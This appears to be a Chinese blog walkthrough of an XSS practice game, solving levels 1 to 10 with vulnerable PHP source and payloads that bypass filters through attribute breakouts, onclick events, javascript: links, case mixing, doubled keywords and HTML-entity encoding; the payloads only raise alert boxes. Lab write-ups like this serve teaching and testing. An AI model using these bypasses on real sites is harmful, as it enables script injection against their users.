Contents
  1. 1. 前言
  2. 2. level1
  3. 3. level2
  4. 4. level3
  5. 5. level4
  6. 6. level5
  7. 7. level6
  8. 8. level7
  9. 9. level8
  10. 10. level9
  11. 11. level10
  12. 12. level11

前言

xss小游戏

level1

看了看level1的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

通过$_GET[“name”],获取name的值,没有过滤通过echo直接进行了输出,get请求的name变量放入xss脚本,完整的返回在html中,浏览器响应xss脚本

构造payload:name=<script>alert("xss")</script>

在xss中拥有同样弹窗效果的函数不止alert,还有confirm以及prompt

从代码角度去看,可以发现就是直接用GET方式获取参数然后输出到浏览器上面,这是典型的没做过滤。怎么防御?可以加一个转义函数htmlspecialchars把一些html格式的东西编码就可以有效防止了。

uJANSf.png

level2

像上一关一样输入<script>alert("xss");</script>,并没有弹窗,回显如下:

uJEVBQ.png

再看看源码

uJEJHJ.png

划红线部分就是提交的参数了,我们发现这里是可以闭合前面的引号和**>**,再构造xss弹窗

payload:"/><script>alert("xss");</script>

uJVVxK.png

level3

输入上一关的试试,当然没用

uJeruT.png

看看源码

uJef81.png

发现提交的xss脚本中的**<**和**>**都没了,应该是被htmlspecialchars函数过滤了

所以这里可以用单引号闭合value,却没办法闭合input标签,但是可以注释掉后面标签然后用事件弹窗,这里介绍几个常用的事件函数,比如onchange, onclick, oninput等等

payload:1' onclick=alert("xss")//

uJKHyt.png

level4

输入"/><script>alert("xss");</script>测试一下,

uJMFmV.png

**<**和**>**依然被转义,再试试点击事件弹窗

payload:1" onclick=alert("xss")//

uJQkjI.png

level5

输入"/><script>alert("xss");</script>,发现<script>标签被过滤

uJQXGQ.png

输入1" onclick=alert("xss")//测试,

uJQ029.png

可以看到onclick也被过滤,但是可以看到尖括号没有被过滤

所以可以构造a标签,再尝试利用a标签的href属性执行javascript:伪协议,"><a href="javascript:alert(1)",没有对javascript进行过滤,触发xss

uJ8gOA.png

level6

输入"><script>alert("xss")</script>测试,<script>标签被过滤

uJ8bOs.png

输入" onclick=alert(1)//测试,onclick被过滤

1569811007499

输入"><a href="javascript:alert(1)"测试。发现href也被过滤

1569811096641

尝试是用大小写绕过

payload:"><a HREF=" javascript:alert(1)"

或者"> <Script>alert('123')</script> //

uJYfT1.png

level7

按照前面的套路试了一遍,发现script、on、href都被过滤,大小写都被过滤

使用双写单词来绕过

payload1:" oonnclick=alert(1)//

payload:"><a hrhrefef=" javascscriptript:alert(1)"

uJBPPA.png

uJBvzq.png

level8

随便输了一个试试,查看源码

uYdiSx.png

发现原本就有一个href标签,所以直接添加javascript:alert(1)即可,可是会发现script被过滤了,转换大小写也不行,

uYsout.png

可以发现还有一处调用的字符串里面没有使用这样的函数去进行防护,可以利用这一点下功夫,尝试编码绕过,进行html编码之后可以成功饶过,

1
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

(其实这里编码的话只编码script其中一个字符就可以)

uYd4c6.png

level9

输入javascript:alert(1)测试一下

uY0PsK.png

发现这次的输入没有在href标签那里,所以,再试试"><script>alert(1)</script>

uY06Y9.png

尖括号和引号都被过滤,看来害的编码

使用上一关的poc试试,也不行,,,只能看看源码

uYyAC4.png

发现这里对url进行了限制,必须包含http://

尝试构造javascr&#x69;pt:alert(1)http://,居然不对、、、

uYc5v9.png

确实不对,那该怎么办呢,两

个解决办法:注释或者把http://放到aler()里面

javascr&#x69;pt:alert(1)//http://

javascr&#x69;pt:alert(&#x22;http://&#x22;)这里吧引号编码

uYcR4U.png

level10

明面上没有看到输入框,但是url栏里可以输入

uYgqLn.png

uY2vnA.png

发现尖括号被过滤,但是这里有三个隐藏的参数,不明白,看看源码

uY2O6H.png

keyword被htmlspecialchars过滤,但是还有一个参数t_sort没有防护,只是过滤了尖括号,然后放到了一个input标签中隐藏起来

可以闭合双引号,使用onclick事件,然后把隐藏的标签用text方式回显出来即可,最后的payload

t_sort=" onclick=alert(1) type="text"

uYh9tx.png

level11

Contents
  1. 1. 前言
  2. 2. level1
  3. 3. level2
  4. 4. level3
  5. 5. level4
  6. 6. level5
  7. 7. level6
  8. 8. level7
  9. 9. level8
  10. 10. level9
  11. 11. level10
  12. 12. level11